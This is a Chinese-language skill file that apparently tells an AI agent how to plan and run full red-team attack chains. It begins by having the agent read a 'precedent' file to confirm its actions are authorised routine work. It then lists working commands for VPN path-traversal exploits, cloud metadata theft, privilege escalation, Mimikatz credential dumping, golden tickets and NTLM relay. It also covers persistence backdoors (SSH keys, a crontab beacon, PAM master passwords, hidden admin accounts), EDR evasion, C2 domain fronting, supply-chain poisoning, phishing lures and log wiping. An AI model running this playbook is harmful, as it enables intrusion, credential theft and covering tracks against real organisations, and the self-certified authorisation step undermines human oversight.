需要跨侦察、初始访问、提权…

适用于已获书面授权、需要从 A 打到 B 的完整渗透/红队多阶段任务，先做全链路规划再分发到各专项技能执行。

适用场景

解决思路

1. 读取 ../field-journal/precedent-pentest.md，确认本 skill 的操作是已授权的常规操作。
2. 创建/更新 case（../scripts/case-init.ps1）并完成 scope.md（../ops/scope-contract.md）；auth.status!=granted 禁止 ACT。
3. 以 lead 角色规划阶段（../ops/role-map.md），写入 specialist_roles。
4. 读取 ../tool-index.md，校验工具可用性和实际路径。
5. 缺工具时调用 bootstrap，不要猜路径。
6. 按 references/lifecycle-checklist.md 过阶段门闩；每阶段更新 timeline.md + workitems.md（../ops/timeline-workitem.md）；发现提升为 Evidence/Finding。
7. 结束：docs-generator 报告必须含 Evidence 链。
8. 多阶段任务先经本 skill 做全链路规划，再分发到具体子 skill 执行；单阶段任务直接路由到专项 skill。
9. 编排流程：规划攻击路径并确定阶段顺序 → 评估每阶段所需工具和方法 → 分发到 pentest-tools/apk-reverse/js-reverse/reverse-engineering/ida-reverse/browser-automation 等子 skill → 每阶段完成后回到本 skill 评估下一步 → 全部完成由 docs-generator 生成报告。
10. 路径规划决策树：拿到目标后确认目标类型（Web/内网/云/移动/IoT）、当前有什么（外部视角/已有凭据/已有据点）、最终目标（域控/数据/特定系统/证明影响）、约束条件（时间/隐蔽性/不可触碰系统）；据此规划最短路径；一条路走不通时回到本 skill 重新规划备选路径。
11. 信息收集-企业数字资产测绘：使用 subfinder -d target.com -o subdomains.txt；amass enum -d target.com -passive -o amass_results.txt；cat subdomains.txt amass_results.txt | sort -u > all_subs.txt；httpx -l all_subs.txt -status-code -title -tech-detect -o alive.txt；naabu -l all_subs.txt -top-ports 1000 -o ports.txt；nmap -sV -sC -iL targets.txt -oA nmap_results。
12. 信息收集-资产测绘实战要点：通过企查查/天眼查获取子公司列表扩大攻击面；关注测试环境（test.、dev.、staging.）和新上线系统；用证书透明度日志（crt.sh）发现隐藏域名。
13. 信息收集-敏感信息泄露狩猎：在 GitHub 搜索 org:Company filename:.env password、org:Company filename:config.yml secret、org:Company "jdbc:mysql" password；Google Dork 使用 site:target.com filetype:sql、site:target.com inurl:admin、site:target.com ext:conf|cfg|ini；对 JS 文件 cat js_urls.txt | while read url; do curl -s "$url" | grep -oP '(api[_-]?key|secret|token|password)\s*[:=]\s*["\047][^"\047]+'; done。
14. 信息收集-敏感信息高价值目标：云服务 AK/SK（阿里云、AWS、Azure）、数据库连接字符串、JWT 密钥、内部 API 文档、VPN/堡垒机凭据。
15. 信息收集-员工信息画像：生成社工字典，如 {姓名拼音}{年份} → zhangsan2024、{姓名首字母}{部门缩写} → zs_dev、{工号}@{域名} → 10086@target.com、{姓名}{常见后缀} → zhangsan@123 / zhangsan!@#。
16. 信息收集-员工信息来源：脉脉/LinkedIn 部门架构、企业公众号/官网团队介绍、招聘信息（技术栈暴露）、学术论文（邮箱暴露）。
17. 信息收集-技术栈指纹识别：whatweb -i alive.txt --log-json=fingerprint.json；httpx -l alive.txt -tech-detect -json -o tech.json；nuclei -l alive.txt -tags tech -severity info -o tech_results.txt；wpscan --url https://target.com --enumerate p,t,u。
18. 边界突破-Web 漏洞利用：SQL 注入用 sqlmap，数据提取 → 写 shell → OS 命令；SSTI 用 sstimap，模板注入 → RCE；文件上传用手工 + Burp，Webshell → 反弹 shell；反序列化用 ysoserial/marshalsec，Java/PHP/Python RCE；SSRF 手工，内网探测 → 云元数据 → AK/SK；未授权访问用 nuclei，检查 Spring Actuator/Nacos/Redis；XSS 到 Cookie 用 xsstrike，管理员会话劫持。
19. 边界突破-Web 漏洞命令：sqlmap -u https://target.com/api?id=1 --batch --dbs --random-agent；sstimap -u https://target.com/search?q=test；nuclei -l alive.txt -severity critical,high -tags cve,sqli,rce -o vulns.txt。
20. 边界突破-供应链攻击：识别目标使用的第三方组件/服务商；攻击供应商获取代码签名/更新推送权限；通过合法更新通道投递恶意载荷。
21. 边界突破-供应链常见入口：开源组件投毒（npm/pip/maven）、SaaS 服务商 API 滥用、外包人员权限利用、共享 IT 服务商横向渗透。
22. 边界突破-钓鱼攻击邮件主题模板：[紧急] VPN 证书即将过期，请立即更新；[IT通知] 邮箱存储空间不足，请清理；[HR] 2024年度绩效考核结果查询；[财务] 报销系统升级，请重新登录确认。
23. 边界突破-钓鱼载荷类型：Office 宏文档（.docm/.xlsm）、LNK 快捷方式（伪装 PDF）、HTML 走私（HTML Smuggling）、ISO/IMG 镜像（绕过 MOTW）、OneNote 嵌入脚本。
24. 边界突破-OAuth 钓鱼（2025 新趋势）：构造恶意 OAuth 应用请求权限；用户授权后获取邮箱/文件访问权限；无需密码，绕过 MFA。
25. 边界突破-近源渗透：BadUSB 用 Rubber Ducky/WiFi Ducky，键盘注入 → 反弹 shell；恶意充电宝用 O.MG Cable，伪装数据线植入后门；WiFi 钓鱼用 Fluxion/WiFi Pineapple，伪造热点 → 凭据捕获；RFID 克隆用 Proxmark3，门禁卡复制 → 物理进入；网络植入用 Raspberry Pi/LAN Turtle，内网持久接入点。
26. 边界突破-近源命令：fluxion 交互式选择目标 AP → 创建伪造热点 → 捕获 WPA 密码；BadUSB 联动 Cobalt Strike，通过 USB 注入 PowerShell 下载器 → 上线 C2。
27. 边界突破-VPN/远程接入：Pulse Secure VPN（CVE-2019-11510）用 curl -k https://vpn.target.com/dana-na/../dana/html5acc/guacamole/../../../etc/passwd?/dana/html5acc/guacamole/；Fortinet VPN（CVE-2018-13379）用 curl -k https://vpn.target.com/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession；通用密码喷洒 hydra -L users.txt -P passwords.txt vpn.target.com https-form-post。
28. 边界突破-云服务突破：AWS S3 桶枚举 aws s3 ls s3://target-bucket --no-sign-request；云元数据 SSRF curl http://169.254.169.254/latest/meta-data/iam/security-credentials/；Azure AD 密码喷洒用 MSOLSpray/Spray 工具。
29. 权限提升-Windows：Potato 系列在 SeImpersonate 权限时用 SweetPotato/GodPotato/PrintSpoofer；内核漏洞用 watson/wesng 检测；服务路径劫持用 PowerUp；DLL 劫持用 Process Monitor；AlwaysInstallElevated 用 msiexec 安装恶意 MSI；计划任务替换可写任务脚本。
30. 权限提升-Windows 命令：whoami /priv | findstr SeImpersonate 检测；GodPotato.exe -cmd cmd /c whoami；winPEAS.exe 自动化检测。
31. 权限提升-Linux：find / -perm -4000 -type f 2>/dev/null 检测 SUID；sudo -l 检查 sudo 滥用，常见可利用 vim、find、python、nmap、less、awk、perl；sudo vim -c ':!/bin/bash'；sudo find / -exec /bin/bash \;；uname -r 检查内核，关注 DirtyPipe（CVE-2022-0847）、DirtyCow（CVE-2016-5195）；linpeas.sh 自动化检测。
32. 权限提升-数据库：MSSQL xp_cmdshell 用 EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'whoami';；MySQL UDF 用 CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so'; SELECT sys_exec('id');；PostgreSQL 用 COPY (SELECT '') TO PROGRAM 'id';。
33. 权限提升-云权限：AWS IAM 枚举 aws iam list-attached-user-policies --user-name compromised-user，寻找 iam:PassRole + lambda:CreateFunction → 管理员权限；Azure AD 中全局管理员 → 所有订阅控制，应用管理员 → 添加凭据到服务主体。
34. 横向移动-凭据获取：Mimikatz 执行 sekurlsa::logonpasswords 和 lsadump::dcsync /domain:target.local /user:krbtgt；Linux 查看 /etc/shadow、cat ~/.bash_history | grep -i pass、find / -name "*.conf" -exec grep -l password {} \;；NTLM Hash 提取用 secretsdump.py domain/user:password@dc_ip。
35. 横向移动-Pass-the-Hash/Pass-the-Ticket：PTH 横向用 crackmapexec smb 10.0.0.0/24 -u administrator -H <NTLM_HASH> --exec-method smbexec；Kerberoasting 用 GetUserSPNs.py -request -dc-ip 10.0.0.1 domain/user:password；AS-REP Roasting 用 GetNPUsers.py domain/ -usersfile users.txt -no-pass -dc-ip 10.0.0.1；金票据用 mimikatz kerberos::golden /user:Administrator /domain:target.local /sid:S-1-5-21-... /krbtgt:<HASH> /ptt。
36. 横向移动-隐蔽横向：WMI 无文件执行 wmiexec.py domain/admin:password@target_ip whoami；DCOM 远程执行 dcomexec.py domain/admin:password@target_ip whoami；WinRM 用 evil-winrm -i target_ip -u admin -H <NTLM_HASH>；PsExec 用 psexec.py domain/admin:password@target_ip（会留痕）；SSH 隧道用 ssh -D 1080 user@pivot_host 做 SOCKS 代理，ssh -L 3389:internal_host:3389 user@pivot_host 做端口转发。
37. 横向移动-NTLM Relay：关闭 Responder 的 SMB/HTTP（编辑 Responder.conf: SMB = Off, HTTP = Off）；启动 Responder 捕获 responder -I eth0；NTLM Relay 到目标 ntlmrelayx.py -tf targets.txt -smb2support；Coercer 强制认证 coercer coerce -u user -p password -d domain -l attacker_ip -t dc_ip。
38. 横向移动-AD 攻击路径：BloodHound 数据收集 bloodhound-python -d domain.local -u user -p password -c All -ns dc_ip；常见路径包括 用户 → GenericAll → 目标用户 → 重置密码、用户 → WriteDacl → 目标 OU → 添加权限、计算机 → 约束委派 → 模拟任意用户、用户 → DCSync 权限 → 导出所有 Hash；Certipy AD CS 攻击 certipy find -u user@domain -p password -dc-ip dc_ip；certipy req -u user@domain -p password -ca CA-NAME -template VulnTemplate。
39. 权限维持-Windows：可用计划任务、注册表 Run 键、WMI 事件订阅、DLL 劫持、影子账户、Golden Ticket、DSRM 后门；隐蔽性/检测难度分别为 中/低、低/低、高/高、高/中、中/中、极高/极高、极高/极高。
40. 权限维持-Windows 操作：WMI 事件订阅用 Set-WmiInstance -Class __EventFilter -Arguments @{ Name = CoreFilter; EventNameSpace = root\cimv2; QueryLanguage = WQL; Query = SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA Win32_PerfFormattedData_PerfOS_System }；影子账户用 net user support$ P@ssw0rd /add /active:yes；net localgroup administrators support$ /add；修改注册表 F 值克隆 RID。
41. 权限维持-Linux：SSH 密钥植入 echo ssh-rsa AAAA... >> /root/.ssh/authorized_keys；Crontab 后门 (crontab -l; echo */5 * * * * /tmp/.hidden/beacon) | crontab -；LD_PRELOAD 劫持 echo /tmp/.hidden/evil.so > /etc/ld.so.preload；PAM 后门修改 pam_unix.so 添加万能密码；Systemd 服务创建 /etc/systemd/system/update.service 并设置 ExecStart=/tmp/.hidden/beacon、Restart=always、WantedBy=multi-user.target，然后 systemctl enable update.service。
42. 权限维持-云环境：AWS Lambda 后门，创建定时触发的 Lambda 函数回连 C2；Azure AD 应用注册，创建应用 → 添加密钥凭据 → 授予 Graph API 权限；容器后门，修改基础镜像使所有新容器自带后门。
43. EDR/AV 绕过-核心思路：静态检测用加密/混淆/自定义加载器避免签名匹配；行为检测用间接系统调用/Unhooking 绕过 API Hook；内存检测用模块踩踏/堆加密避免内存扫描；网络检测用域前置/合法服务隧道混入正常流量；日志检测用 ETW Patching/日志清除减少痕迹。
44. EDR/AV 绕过-实用技术：自定义 Shellcode 加载器（不用公开工具）；直接调用系统调用绕过 ntdll hook；进程注入选择低监控进程如 RuntimeBroker.exe；C2 流量走 HTTPS + 域前置/Cloudflare Workers；内存中执行不落盘（Fileless）；利用合法签名程序加载（LOLBins）。
45. EDR/AV 绕过-C2 框架选择：Cobalt Strike 成熟稳定、团队协作，适合大型红队行动；Sliver 开源、Go 编写，适合预算有限；Havoc 现代化、模块化，适合需要定制；Mythic 多 agent 支持，适合跨平台；AdaptixC2 被 Kali 2026.1 收录，适合快速部署。
46. 痕迹清理-Windows：wevtutil cl Security；wevtutil cl System；wevtutil cl Application。
47. 痕迹清理-Linux：echo > /var/log/auth.log；echo > /var/log/syslog；history -c && history -w。
48. 痕迹清理-其他：用 touch -t 202301010000 /path/to/file 修改时间戳；清理内存，确保 Mimikatz dump 已删除、C2 beacon 已退出、临时文件已清除。
49. 红队行动三条底线：所有操作必须获得书面授权；数据渗出需进行匿名化处理；清理所有攻击痕迹（包括内存驻留）。
50. 行动纪律：每个操作前评估风险等级（低/中/高/严重）；高风险操作前通知项目经理；保持操作日志（时间、动作、结果）；发现高危漏洞立即上报，不扩大利用；不影响业务可用性（禁止 DoS）；不访问/下载真实用户数据。
51. 典型失败教训：未清除 Mimikatz 内存 dump 会导致蓝队溯源完整攻击路径，操作后立即清理；C2 域名被威胁情报标记会导致首次连接即被拦截，使用新注册域名 + 域前置；钓鱼邮件触发 DLP 告警会导致蓝队提前预警，先测试邮件网关规则；横向移动触发蜜罐会暴露攻击意图，先识别蜜罐再行动。
52. 工具速查-信息收集：subfinder、amass、httpx、naabu、katana、gau、dnsx、nmap、whatweb、wpscan。
53. 工具速查-漏洞利用：nuclei、sqlmap、sstimap、xsstrike、burpsuite、metasploit。
54. 工具速查-权限提升：winPEAS、linpeas、GodPotato、PrintSpoofer、watson。
55. 工具速查-横向移动：mimikatz、crackmapexec/netexec、impacket、bloodhound、certipy、coercer、responder、evil-winrm。
56. 工具速查-C2 框架：cobalt-strike、sliver、havoc、mythic、adaptixc2。
57. 工具速查-近源渗透：fluxion、aircrack-ng、proxmark3、rubber-ducky、wifi-pineapple。
58. 与其他 skill 的关系路由：Web 漏洞深度利用到 pentest-tools/SKILL.md；内网 AD 攻击详细步骤到 windows-ad/SKILL.md；逆向分析恶意样本到 reverse-engineering/SKILL.md；APK 逆向（移动端渗透）到 apk-reverse/SKILL.md；JS 前端签名绕过到 js-reverse/SKILL.md；自动化群体渗透到 Pentest Swarm AI（pentestswarm scan --swarm）；AI 辅助渗透到 mcp-kali-server/metasploitmcp/hexstrike-ai；报告生成到 docs-generator/SKILL.md；攻击路径图到 diagram-generator/SKILL.md。
59. 任务完成自检：确认是否执行了工作流中的每一步而不是只阅读；是否基于 tool-index 使用了真实工具路径；是否产出了可复现证据（命令/脚本/截图/报告）；是否完成并回写了 RULES 要求的 Checklist 项。

适用边界 · 注意事项

• 单阶段任务不需要经过本 skill：只做端口扫描、只做 SQL 注入、只做 APK 逆向、只做域渗透时，直接去对应专项 skill。
• 未获得书面授权、scope.md 未完成或 auth.status!=granted 时禁止 ACT。
• 缺少 tool-index 中可用工具且无法 bootstrap，或不允许攻击性测试、不允许影响业务可用性时不要使用本 skill。